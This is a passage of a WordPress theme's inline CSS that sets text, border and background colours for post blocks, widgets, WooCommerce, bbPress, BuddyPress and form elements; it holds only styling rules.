  95. .penci-block-vc.style-title-11:not(.footer-widget) .penci-subcat-filter,
  96. .penci-block-vc.style-title-11:not(.footer-widget) .penci-slider-nav{ background-color:#ffffff }.penci-archive .entry-meta,.penci-archive .entry-meta a,
  97.  
  98. .penci-inline-related-posts .penci_post-meta, .penci__general-meta .penci_post-meta,
  99. .penci-block_video.style-1 .penci_post-meta, .penci-block_video.style-7 .penci_post-meta,
  100. .penci_breadcrumbs a, .penci_breadcrumbs span,.penci_breadcrumbs i,
  101. .error404 .page-content,
  102. .woocommerce .comment-form p.stars a,
  103. .woocommerce .woocommerce-ordering, .woocommerce .woocommerce-result-count,
  104. .woocommerce #reviews #comments ol.commentlist li .comment-text .meta,
  105. .penci-entry-meta,#wp-calendar caption,.penci-post-pagination span,
  106. .penci-archive .entry-meta span{ color:#999999 }
  107. .site-main .element-media-controls a, .entry-content .element-media-controls a,
  108.    .penci-portfolio-below_img .inner-item-portfolio .portfolio-desc h3,
  109. .post-entry .penci-portfolio-filter ul li a, .penci-portfolio-filter ul li a,
  110. .widget_display_stats dt, .widget_display_stats dd,
  111. #wp-calendar tbody td a,
  112. .widget.widget_display_replies a,
  113. .post-entry .penci-portfolio-filter ul li.active a, .penci-portfolio-filter ul li.active a,
  114. .woocommerce div.product .woocommerce-tabs ul.tabs li a,
  115. .woocommerce ul.products li.product h3, .woocommerce ul.products li.product .woocommerce-loop-product__title,
  116. .woocommerce table.shop_table td.product-name a,
  117. input[type="text"], input[type="email"], input[type="url"], input[type="password"],
  118. input[type="search"], input[type="number"], input[type="tel"], input[type="range"], input[type="date"],
  119. input[type="month"], input[type="week"], input[type="time"], input[type="datetime"], input[type="datetime-local"], input[type="color"], textarea,
  120. .error404 .page-content .search-form .search-submit,.penci-no-results .search-form .search-submit,.error404 .page-content a,
  121. a,.widget a,.penci-block-vc .penci-block__title a, .penci-block-vc .penci-block__title span,
  122. .penci-page-title, .penci-entry-title,.woocommerce .page-title,
  123. .penci-recipe-index-wrap .penci-recipe-index-title a,
  124. .penci-social-buttons .penci-social-share-text,
  125. .woocommerce div.product .product_title,
  126. .penci-post-pagination h5 a,
  127. .woocommerce div.product .woocommerce-tabs .panel > h2:first-child, .woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,
  128. .woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title,
  129. .woocommerce #reviews #comments ol.commentlist li .comment-text .meta strong,
  130. .woocommerce div.product .related > h2, .woocommerce div.product .upsells > h2,
  131. .penci-author-content .author-social,
  132. .forum-archive .penci-entry-title,
  133. #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a,
  134. .woocommerce div.product .entry-summary div[itemprop="description"] h2, .woocommerce div.product .woocommerce-tabs #tab-description h2,
  135. .widget.widget_recent_entries li a, .widget.widget_recent_comments li a, .widget.widget_meta li a,
  136. .penci-pagination:not(.penci-ajax-more) a, .penci-pagination:not(.penci-ajax-more) span{ color:#111111 }div.wpforms-container .wpforms-form input[type=date],div.wpforms-container .wpforms-form input[type=datetime],div.wpforms-container .wpforms-form input[type=datetime-local],div.wpforms-container .wpforms-form input[type=email],div.wpforms-container .wpforms-form input[type=month],div.wpforms-container .wpforms-form input[type=number],div.wpforms-container .wpforms-form input[type=password],div.wpforms-container .wpforms-form input[type=range],div.wpforms-container .wpforms-form input[type=search],div.wpforms-container .wpforms-form input[type=tel],div.wpforms-container .wpforms-form input[type=text],div.wpforms-container .wpforms-form input[type=time],div.wpforms-container .wpforms-form input[type=url],div.wpforms-container .wpforms-form input[type=week],div.wpforms-container .wpforms-form select,div.wpforms-container .wpforms-form textarea{ color: #111111 }
  137. h1, h2, h3, h4, h5, h6,.penci-userreview-author,.penci-review-metas .penci-review-meta i,
  138. .entry-content h1, .entry-content h2, .entry-content h3, .entry-content h4,
  139. .entry-content h5, .entry-content h6, .comment-content h1, .comment-content h2,
  140. .comment-content h3, .comment-content h4, .comment-content h5, .comment-content h6,
  141. .penci-inline-related-posts .penci-irp-heading{ color:#111111 }.site-main .frontend-form-container .element-media-file,.site-main .frontend-form-container .element-media,.site-main .frontend-item-container .select2.select2-container .select2-selection.select-with-search-container,.site-main .frontend-item-container input[type="text"],.site-main .frontend-item-container input[type="email"],.site-main .frontend-item-container input[type="url"],.site-main .frontend-item-container textarea,.site-main .frontend-item-container select{ border-color: #dedede }
  142. .site-header,
  143. .buddypress-wrap .select-wrap,
  144. .penci-post-blog-classic,
  145. .activity-list.bp-list,
  146. .penci-team_memebers .penci-team_item__content,
  147. .penci-author-box-wrap,
  148. .about-widget .about-me-heading:before,
  149. #buddypress .wp-editor-container,
  150. #bbpress-forums .bbp-forums-list,
  151. div.bbp-forum-header, div.bbp-topic-header, div.bbp-reply-header,
  152. .activity-list li.bbp_topic_create .activity-content .activity-inner,
  153. .rtl .activity-list li.bbp_reply_create .activity-content .activity-inner,
  154. #drag-drop-area,
  155. .bp-avatar-nav ul.avatar-nav-items li.current,
  156. .bp-avatar-nav ul,
  157. .site-main .bbp-pagination-links a, .site-main .bbp-pagination-links span.current,
  158. .bbpress  .wp-editor-container,
  159. .penci-ajax-search-results-wrapper,
  160. .show-search .search-field,
  161. .show-search .show-search__content,
  162. .penci-viewall-results,
  163. .penci-subcat-list .flexMenu-viewMore .flexMenu-popup,
  164. .penci-owl-carousel-style .owl-dot span,
  165. .penci-owl-carousel-slider .owl-dot span,
  166. .woocommerce-cart table.cart td.actions .coupon .input-text,
  167. .blog-boxed .penci-archive__content .article_content,
  168. .penci-block_28 .block28_first_item:not(.hide-border),
  169. .penci-mul-comments-wrapper .penci-tab-nav,
  170. .penci-recipe,.penci-recipe-heading,.penci-recipe-ingredients,.penci-recipe-notes,
  171. .wp-block-yoast-faq-block .schema-faq-section,
  172. .wp-block-yoast-how-to-block ol.schema-how-to-steps,
  173. .wp-block-pullquote,
  174. .wrapper-penci-recipe .penci-recipe-ingredients
  175. { border-color:#dedede }
  176.    blockquote:not(.wp-block-quote):before, q:before,  
  177.    blockquote:not(.wp-block-quote):after, q:after, blockquote.style-3:before,
  178. .penci-block-vc.style-title-10:not(.footer-widget) .penci-block-heading:after
  179. { background-color:#dedede }
  180. .penci-block-vc.style-title-10:not(.footer-widget) .penci-block-heading,
  181. .wrapper-penci-review, .penci-review-container.penci-review-count,.penci-usewr-review,
  182. .widget .tagcloud a,.widget.widget_recent_entries li, .widget.widget_recent_comments li, .widget.widget_meta li,
  183.    .penci-inline-related-posts,
  184.    .penci_dark_layout .site-main #buddypress div.item-list-tabs:not(#subnav),
  185. code,abbr, acronym,fieldset,hr,#bbpress-forums div.bbp-the-content-wrapper textarea.bbp-the-content,
  186. .penci-pagination:not(.penci-ajax-more) a, .penci-pagination:not(.penci-ajax-more) span,
  187. th,td,#wp-calendar tbody td{ border-color:#dedede }
  188. .site-main #bbpress-forums li.bbp-body ul.forum,
  189. .site-main #bbpress-forums li.bbp-body ul.topic,#bbpress-forums li.bbp-footer,
  190. #bbpress-forums div.bbp-template-notice.info,
  191. .bbp-pagination-links a, .bbp-pagination-links span.current,
  192. .site-main #buddypress .standard-form textarea,
  193. .site-main #buddypress .standard-form input[type=text], .site-main #buddypress .standard-form input[type=color],
  194. .site-main #buddypress .standard-form input[type=date], .site-main #buddypress .standard-form input[type=datetime],
  195. .site-main #buddypress .standard-form input[type=datetime-local], .site-main #buddypress .standard-form input[type=email],
  196. .site-main #buddypress .standard-form input[type=month], .site-main #buddypress .standard-form input[type=number],
  197. .site-main #buddypress .standard-form input[type=range], .site-main #buddypress .standard-form input[type=search],
  198. .site-main #buddypress .standard-form input[type=tel], .site-main #buddypress .standard-form input[type=time],
  199.    .site-main #buddypress .standard-form input[type=url], .site-main #buddypress .standard-form input[type=week],
  200.    .site-main #buddypress .standard-form select,.site-main #buddypress .standard-form input[type=password],
  201.        .site-main #buddypress .dir-search input[type=search], .site-main #buddypress .dir-search input[type=text],
  202.        .site-main #buddypress .groups-members-search input[type=search], .site-main #buddypress .groups-members-search input[type=text],
  203.        .site-main #buddypress button, .site-main #buddypress a.button,
  204.        .site-main #buddypress input[type=button], .site-main #buddypress input[type=reset],
  205.        .site-main #buddypress ul.button-nav li a,.site-main #buddypress div.generic-button a,.site-main #buddypress .comment-reply-link,
  206.        a.bp-title-button,.site-main #buddypress button:hover,.site-main #buddypress a.button:hover, .site-main #buddypress a.button:focus,
  207.        .site-main #buddypress input[type=button]:hover, .site-main #buddypress input[type=reset]:hover,
  208.        .site-main #buddypress ul.button-nav li a:hover, .site-main #buddypress ul.button-nav li.current a,
  209.        .site-main #buddypress div.generic-button a:hover,.site-main #buddypress .comment-reply-link:hover,
  210.        .site-main #buddypress input[type=submit]:hover,.site-main #buddypress select,.site-main #buddypress ul.item-list,
  211. .site-main #buddypress .profile[role=main],.site-main #buddypress ul.item-list li,.site-main #buddypress div.pagination .pag-count ,
  212. .site-main #buddypress div.pagination .pagination-links span,.site-main #buddypress div.pagination .pagination-links a,
  213. body.activity-permalink .site-main #buddypress div.activity-comments, .site-main #buddypress div.activity-comments form .ac-textarea,
  214. .site-main #buddypress table.profile-fields, .site-main #buddypress table.profile-fields:last-child{ border-color:#dedede }.site-main #buddypress table.notifications tr td.label, #buddypress table.notifications-settings tr td.label,.site-main #buddypress table.profile-fields tr td.label, #buddypress table.wp-profile-fields tr td.label,.site-main #buddypress table.messages-notices tr td.label, #buddypress table.forum tr td.label{ border-color: #dedede !important; }
  215. .penci-block-vc,
  216. .penci-block_1 .block1_first_item,
  217. .penci-block_1 .block1_first_item .penci_post-meta,
  218. .penci-block_1 .block1_items .penci_media_object,
  219. .penci-block_4 .penci-small-thumb:after,
  220. .penci-recent-rv,
  221. .penci-block_6 .penci-post-item,
  222. .penci-block_9 .block9_first_item,.penci-block_9 .penci-post-item,
  223. .penci-block_9 .block9_items .block9_item_loadmore:first-of-type,
  224. .penci-block_11 .block11_first_item,.penci-block_11 .penci-post-item,
  225. .penci-block_11 .block11_items .block11_item_loadmore:first-of-type,
  226. .penci-block_15 .penci-post-item,.penci-block_15 .penci-block__title,
  227. .penci-block_20 .penci_media_object,
  228. .penci-block_20 .penci_media_object.penci_mobj-image-right .penci_post_content,
  229. .penci-block_26 .block26_items .penci-post-item,
  230. .penci-block_28 .block28_first_item,
  231. .penci-block_28 .block28_first_item .penci_post-meta,
  232. .penci-block_29 .block_29_items .penci-post-item,
  233. .penci-block_30 .block30_items .penci_media_object,
  234. .penci-block_33 .block33_big_item .penci_post-meta,
  235. .penci-block_36 .penci-post-item, .penci-block_36 .penci-block__title,
  236. .penci-block_6 .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:first-child,
  237. .penci-block_video.style-7 .penci-owl-carousel-slider .owl-dots span,
  238. .penci-owl-featured-area.style-12 .penci-small_items .owl-item.active .penci-item-mag,
  239. .penci-videos-playlist .penci-video-nav .penci-video-playlist-nav:not(.playlist-has-title) .penci-video-playlist-item:first-child,
  240. .penci-videos-playlist .penci-video-nav .penci-video-playlist-nav:not(.playlist-has-title) .penci-video-playlist-item:last-child,
  241. .penci-videos-playlist .penci-video-nav .penci-video-playlist-item,
  242. .penci-archive__content .penci-entry-header,
  243. .page-template-full-width.penci-block-pagination .penci_breadcrumbs,
  244. .penci-post-pagination,.penci-pfl-social_share,.penci-post-author,
  245. .penci-social-buttons.penci-social-share-footer,
  246. .penci-pagination:not(.penci-ajax-more) a,
  247. .penci-social-buttons .penci-social-item.like{ border-color:#dedede }.penci-container-width-1080 .penci-content-main.penci-col-4 .penci-block_1 .block1_items .penci-post-item:nth-child(2) .penci_media_object,.penci-container-width-1400 .penci-content-main.penci-col-4 .penci-block_1 .block1_items .penci-post-item:nth-child(2) .penci_media_object,.wpb_wrapper > .penci-block_1.penci-vc-column-1 .block1_items .penci-post-item:nth-child(2) .penci_media_object,.widget-area .penci-block_1 .block1_items .penci-post-item:nth-child(2) .penci_media_object{ border-color:#dedede }
  248. .penci-block_6.penci-vc-column-2.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  249. .penci-block_6.penci-vc-column-2.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  250. .penci-block_6.penci-vc-column-2.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  251. .penci-block_6.penci-vc-column-2.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  252. .penci-block_36.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:first-child,
  253.    .penci-block_36.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:first-child,
  254. .penci-block_36.penci-vc-column-2.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  255. .penci-block_36.penci-vc-column-2.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  256. .penci-block_36.penci-vc-column-2.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  257. .penci-block_36.penci-vc-column-2.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  258. .penci-block_6.penci-vc-column-3.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  259. .penci-block_6.penci-vc-column-3.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  260. .penci-block_6.penci-vc-column-3.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(3),
  261. .penci-block_6.penci-vc-column-3.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  262. .penci-block_6.penci-vc-column-3.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  263. .penci-block_6.penci-vc-column-3.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(3),
  264. .penci-block_36.penci-vc-column-3.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  265. .penci-block_36.penci-vc-column-3.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  266. .penci-block_36.penci-vc-column-3.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(3),
  267. .penci-block_36.penci-vc-column-3.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  268. .penci-block_36.penci-vc-column-3.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  269. .penci-block_36.penci-vc-column-3.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(3),
  270. .penci-block_15.penci-vc-column-2.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  271. .penci-block_15.penci-vc-column-2.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  272. .penci-block_15.penci-vc-column-2.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  273. .penci-block_15.penci-vc-column-2.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  274. .penci-block_15.penci-vc-column-3.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  275. .penci-block_15.penci-vc-column-3.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  276. .penci-block_15.penci-vc-column-3.penci-block-load_more .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(3),
  277. .penci-block_15.penci-vc-column-3.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(1),
  278. .penci-block_15.penci-vc-column-3.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(2),
  279. .penci-block_15.penci-vc-column-3.penci-block-infinite .penci-block_content__items:not(.penci-block-items__1) .penci-post-item:nth-child(3){ border-color:#dedede }
  280. select,input[type="text"], input[type="email"], input[type="url"], input[type="password"],
  281. input[type="search"], input[type="number"], input[type="tel"], input[type="range"],
  282. input[type="date"], input[type="month"], input[type="week"], input[type="time"],
  283. input[type="datetime"], input[type="datetime-local"], input[type="color"], textarea,
  284. .single-portfolio .penci-social-buttons + .post-comments,
  285. #respond textarea, .wpcf7 textarea,
  286. .post-comments .post-title-box,.penci-comments-button,
  287. .penci-comments-button + .post-comments .comment-reply-title,
  288. .penci-post-related + .post-comments .comment-reply-title,
  289. .penci-post-related + .post-comments .post-title-box,
  290. .comments .comment ,.comments .comment, .comments .comment .comment,
  291. #respond input,.wpcf7 input,.widget_wysija input,
  292. #bbpress-forums #bbp-search-form .button,
  293. .site-main #buddypress div.item-list-tabs:not( #subnav ),
  294. .site-main #buddypress div.item-list-tabs:not(#subnav) ul li a,
  295. .site-main #buddypress div.item-list-tabs:not(#subnav) ul li > span,
  296. .site-main #buddypress .dir-search input[type=submit], .site-main #buddypress .groups-members-search input[type=submit],
  297. #respond textarea,.wpcf7 textarea { border-color:#dedede } div.wpforms-container .wpforms-form input[type=date],div.wpforms-container .wpforms-form input[type=datetime],div.wpforms-container .wpforms-form input[type=datetime-local],div.wpforms-container .wpforms-form input[type=email],div.wpforms-container .wpforms-form input[type=month],div.wpforms-container .wpforms-form input[type=number],div.wpforms-container .wpforms-form input[type=password],div.wpforms-container .wpforms-form input[type=range],div.wpforms-container .wpforms-form input[type=search],div.wpforms-container .wpforms-form input[type=tel],div.wpforms-container .wpforms-form input[type=text],div.wpforms-container .wpforms-form input[type=time],div.wpforms-container .wpforms-form input[type=url],div.wpforms-container .wpforms-form input[type=week],div.wpforms-container .wpforms-form select,div.wpforms-container .wpforms-form textarea{ border-color: #dedede }
  298.    .penci-owl-featured-area.style-13 .penci-small_items .owl-item.active .penci-item-mag:before,
  299. .site-header.header--s2:before, .site-header.header--s3:not(.header--s4):before, .site-header.header--s6:before,
  300. .penci_gallery.style-1 .penci-small-thumb:after,
  301. .penci-videos-playlist .penci-video-nav .penci-video-playlist-item.is-playing,
  302. .penci-videos-playlist .penci-video-nav .penci-video-playlist-item:hover,
  303. blockquote:before, q:before,blockquote:after, q:after{ background-color:#dedede }.site-main #buddypress .dir-search input[type=submit], .site-main #buddypress .groups-members-search input[type=submit],
  304. input[type="button"], input[type="reset"], input[type="submit"]{ border-color:#dedede }@media (max-width: 768px) {.penci-post-pagination .prev-post + .next-post {border-color :#dedede; }}@media (max-width: 650px) {.penci-block_1 .block1_items .penci-post-item:nth-child(2) .penci_media_object {border-color :#dedede; }}.buy-button{ background-color:#21b24b !important; }.penci-menuhbg-toggle:hover .lines-button:after,.penci-menuhbg-toggle:hover .penci-lines:before,.penci-menuhbg-toggle:hover .penci-lines:after.penci-login-container a,.penci_list_shortcode li:before,.footer__sidebars .penci-block-vc .penci__post-title a:hover,.penci-viewall-results a:hover,.post-entry .penci-portfolio-filter ul li.active a, .penci-portfolio-filter ul li.active a,.penci-ajax-search-results-wrapper .penci__post-title a:hover{ color: #21b24b; }.penci-tweets-widget-content .icon-tweets,.penci-tweets-widget-content .tweet-intents a,.penci-tweets-widget-content .tweet-intents span:after,.woocommerce .star-rating span,.woocommerce .comment-form p.stars a:hover,.woocommerce div.product .woocommerce-tabs ul.tabs li a:hover,.penci-subcat-list .flexMenu-viewMore:hover a, .penci-subcat-list .flexMenu-viewMore:focus a,.penci-subcat-list .flexMenu-viewMore .flexMenu-popup .penci-subcat-item a:hover,.penci-owl-carousel-style .owl-dot.active span, .penci-owl-carousel-style .owl-dot:hover span,.penci-owl-carousel-slider .owl-dot.active span,.penci-owl-carousel-slider .owl-dot:hover span{ color: #21b24b; }.penci-owl-carousel-slider .owl-dot.active span,.penci-owl-carousel-slider .owl-dot:hover span{ background-color: #21b24b; }blockquote, q,.penci-post-pagination a:hover,a:hover,.penci-entry-meta a:hover,.penci-portfolio-below_img .inner-item-portfolio .portfolio-desc a:hover h3,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li:hover > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li:active > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.current-menu-item > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.current-menu-ancestor > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.current-category-ancestor > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li:hover > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li:active > a,.site-header.header--s11 .main-navigation.penci_enable_line_menu .menu > li.current-menu-item > a,.main-navigation.penci_disable_padding_menu ul.menu > li > a:hover,.main-navigation ul li:hover > a,.main-navigation ul li:active > a,.main-navigation li.current-menu-item > a,#site-navigation .penci-megamenu .penci-mega-child-categories a.cat-active,#site-navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post a:not(.mega-cat-name):hover,.penci-post-pagination h5 a:hover{ color: #21b24b; }.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button > a{ color: #21b24b;border-color: #21b24b; }.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button:hover > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button:active > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button.current-category-ancestor > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button.current-category-ancestor > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button.current-menu-ancestor > a,.main-navigation.penci_disable_padding_menu > ul:not(.children) > li.highlight-button.current-menu-item > a{ border-color: #21b24b; }.penci-menu-hbg .primary-menu-mobile li a:hover,.penci-menu-hbg .primary-menu-mobile li.toggled-on > a,.penci-menu-hbg .primary-menu-mobile li.toggled-on > .dropdown-toggle,.penci-menu-hbg .primary-menu-mobile li.current-menu-item > a,.penci-menu-hbg .primary-menu-mobile li.current-menu-item > .dropdown-toggle,.mobile-sidebar .primary-menu-mobile li a:hover,.mobile-sidebar .primary-menu-mobile li.toggled-on-first > a,.mobile-sidebar .primary-menu-mobile li.toggled-on > a,.mobile-sidebar .primary-menu-mobile li.toggled-on > .dropdown-toggle,.mobile-sidebar .primary-menu-mobile li.current-menu-item > a,.mobile-sidebar .primary-menu-mobile li.current-menu-item > .dropdown-toggle,.mobile-sidebar #sidebar-nav-logo a,.mobile-sidebar #sidebar-nav-logo a:hover.mobile-sidebar #sidebar-nav-logo:before,.penci-recipe-heading a.penci-recipe-print,.widget a:hover,.widget.widget_recent_entries li a:hover, .widget.widget_recent_comments li a:hover, .widget.widget_meta li a:hover,.penci-topbar a:hover,.penci-topbar ul li:hover,.penci-topbar ul li a:hover,.penci-topbar ul.menu li ul.sub-menu li a:hover,.site-branding a, .site-branding .site-title{ color: #21b24b; }.penci-viewall-results a:hover,.penci-ajax-search-results-wrapper .penci__post-title a:hover,.header__search_dis_bg .search-click:hover,.header__social-media a:hover,.penci-login-container .link-bottom a,.error404 .page-content a,.penci-no-results .search-form .search-submit:hover,.error404 .page-content .search-form .search-submit:hover,.penci_breadcrumbs a:hover, .penci_breadcrumbs a:hover span,.penci-archive .entry-meta a:hover,.penci-caption-above-img .wp-caption a:hover,.penci-author-content .author-social:hover,.entry-content a,.comment-content a,.penci-page-style-5 .penci-active-thumb .penci-entry-meta a:hover,.penci-single-style-5 .penci-active-thumb .penci-entry-meta a:hover{ color: #21b24b; }blockquote:not(.wp-block-quote).style-2:before{ background-color: transparent; }blockquote.style-2:before,blockquote:not(.wp-block-quote),blockquote.style-2 cite, blockquote.style-2 .author,blockquote.style-3 cite, blockquote.style-3 .author,.woocommerce ul.products li.product .price,.woocommerce ul.products li.product .price ins,.woocommerce div.product p.price ins,.woocommerce div.product span.price ins, .woocommerce div.product p.price, .woocommerce div.product span.price,.woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before, .woocommerce div.product .woocommerce-tabs #tab-description blockquote:before,.woocommerce-product-details__short-description blockquote:before,.woocommerce div.product .entry-summary div[itemprop="description"] blockquote cite, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author,.woocommerce div.product .woocommerce-tabs #tab-description blockquote cite, .woocommerce div.product .woocommerce-tabs #tab-description blockquote .author,.woocommerce div.product .product_meta > span a:hover,.woocommerce div.product .woocommerce-tabs ul.tabs li.active{ color: #21b24b; }.woocommerce #respond input#submit.alt.disabled:hover,.woocommerce #respond input#submit.alt:disabled:hover,.woocommerce #respond input#submit.alt:disabled[disabled]:hover,.woocommerce a.button.alt.disabled,.woocommerce a.button.alt.disabled:hover,.woocommerce a.button.alt:disabled,.woocommerce a.button.alt:disabled:hover,.woocommerce a.button.alt:disabled[disabled],.woocommerce a.button.alt:disabled[disabled]:hover,.woocommerce button.button.alt.disabled,.woocommerce button.button.alt.disabled:hover,.woocommerce button.button.alt:disabled,.woocommerce button.button.alt:disabled:hover,.woocommerce button.button.alt:disabled[disabled],.woocommerce button.button.alt:disabled[disabled]:hover,.woocommerce input.button.alt.disabled,.woocommerce input.button.alt.disabled:hover,.woocommerce input.button.alt:disabled,.woocommerce input.button.alt:disabled:hover,.woocommerce input.button.alt:disabled[disabled],.woocommerce input.button.alt:disabled[disabled]:hover{ background-color: #21b24b; }.woocommerce ul.cart_list li .amount, .woocommerce ul.product_list_widget li .amount,.woocommerce table.shop_table td.product-name a:hover,.woocommerce-cart .cart-collaterals .cart_totals table td .amount,.woocommerce .woocommerce-info:before,.woocommerce form.checkout table.shop_table .order-total .amount,.post-entry .penci-portfolio-filter ul li a:hover,.post-entry .penci-portfolio-filter ul li.active a,.penci-portfolio-filter ul li a:hover,.penci-portfolio-filter ul li.active a,#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a:hover,#bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a:hover,#bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content a,#bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta a,#bbpress-forums .bbp-breadcrumb a:hover, #bbpress-forums .bbp-breadcrumb .bbp-breadcrumb-current:hover,#bbpress-forums .bbp-forum-freshness a:hover,#bbpress-forums .bbp-topic-freshness a:hover{ color: #21b24b; }.footer__bottom a,.footer__logo a, .footer__logo a:hover,.site-info a,.site-info a:hover,.sub-footer-menu li a:hover,.footer__sidebars a:hover,.penci-block-vc .social-buttons a:hover,.penci-inline-related-posts .penci_post-meta a:hover,.penci__general-meta .penci_post-meta a:hover,.penci-block_video.style-1 .penci_post-meta a:hover,.penci-block_video.style-7 .penci_post-meta a:hover,.penci-block-vc .penci-block__title a:hover,.penci-block-vc.style-title-2 .penci-block__title a:hover,.penci-block-vc.style-title-2:not(.footer-widget) .penci-block__title a:hover,.penci-block-vc.style-title-4 .penci-block__title a:hover,.penci-block-vc.style-title-4:not(.footer-widget) .penci-block__title a:hover,.penci-block-vc .penci-subcat-filter .penci-subcat-item a.active, .penci-block-vc .penci-subcat-filter .penci-subcat-item a:hover ,.penci-block_1 .penci_post-meta a:hover,.penci-inline-related-posts.penci-irp-type-grid .penci__post-title:hover{ color: #21b24b; }.penci-block_10 .penci-posted-on a,.penci-block_10 .penci-block__title a:hover,.penci-block_10 .penci__post-title a:hover,.penci-block_26 .block26_first_item .penci__post-title:hover,.penci-block_30 .penci_post-meta a:hover,.penci-block_33 .block33_big_item .penci_post-meta a:hover,.penci-block_36 .penci-chart-text,.penci-block_video.style-1 .block_video_first_item.penci-title-ab-img .penci_post_content a:hover,.penci-block_video.style-1 .block_video_first_item.penci-title-ab-img .penci_post-meta a:hover,.penci-block_video.style-6 .penci__post-title:hover,.penci-block_video.style-7 .penci__post-title:hover,.penci-owl-featured-area.style-12 .penci-small_items h3 a:hover,.penci-owl-featured-area.style-12 .penci-small_items .penci-slider__meta a:hover ,.penci-owl-featured-area.style-12 .penci-small_items .owl-item.current h3 a,.penci-owl-featured-area.style-13 .penci-small_items h3 a:hover,.penci-owl-featured-area.style-13 .penci-small_items .penci-slider__meta a:hover,.penci-owl-featured-area.style-13 .penci-small_items .owl-item.current h3 a,.penci-owl-featured-area.style-14 .penci-small_items h3 a:hover,.penci-owl-featured-area.style-14 .penci-small_items .penci-slider__meta a:hover ,.penci-owl-featured-area.style-14 .penci-small_items .owl-item.current h3 a,.penci-owl-featured-area.style-17 h3 a:hover,.penci-owl-featured-area.style-17 .penci-slider__meta a:hover,.penci-fslider28-wrapper.penci-block-vc .penci-slider-nav a:hover,.penci-videos-playlist .penci-video-nav .penci-video-playlist-item .penci-video-play-icon,.penci-videos-playlist .penci-video-nav .penci-video-playlist-item.is-playing { color: #21b24b; }.penci-block_video.style-7 .penci_post-meta a:hover,.penci-ajax-more.disable_bg_load_more .penci-ajax-more-button:hover, .penci-ajax-more.disable_bg_load_more .penci-block-ajax-more-button:hover{ color: #21b24b; }.site-main #buddypress input[type=submit]:hover,.site-main #buddypress div.generic-button a:hover,.site-main #buddypress .comment-reply-link:hover,.site-main #buddypress a.button:hover,.site-main #buddypress a.button:focus,.site-main #buddypress ul.button-nav li a:hover,.site-main #buddypress ul.button-nav li.current a,.site-main #buddypress .dir-search input[type=submit]:hover, .site-main #buddypress .groups-members-search input[type=submit]:hover,.site-main #buddypress div.item-list-tabs ul li.selected a,.site-main #buddypress div.item-list-tabs ul li.current a,.site-main #buddypress div.item-list-tabs ul li a:hover{ border-color: #21b24b;background-color: #21b24b; }.site-main #buddypress table.notifications thead tr, .site-main #buddypress table.notifications-settings thead tr,.site-main #buddypress table.profile-settings thead tr, .site-main #buddypress table.profile-fields thead tr,.site-main #buddypress table.profile-settings thead tr, 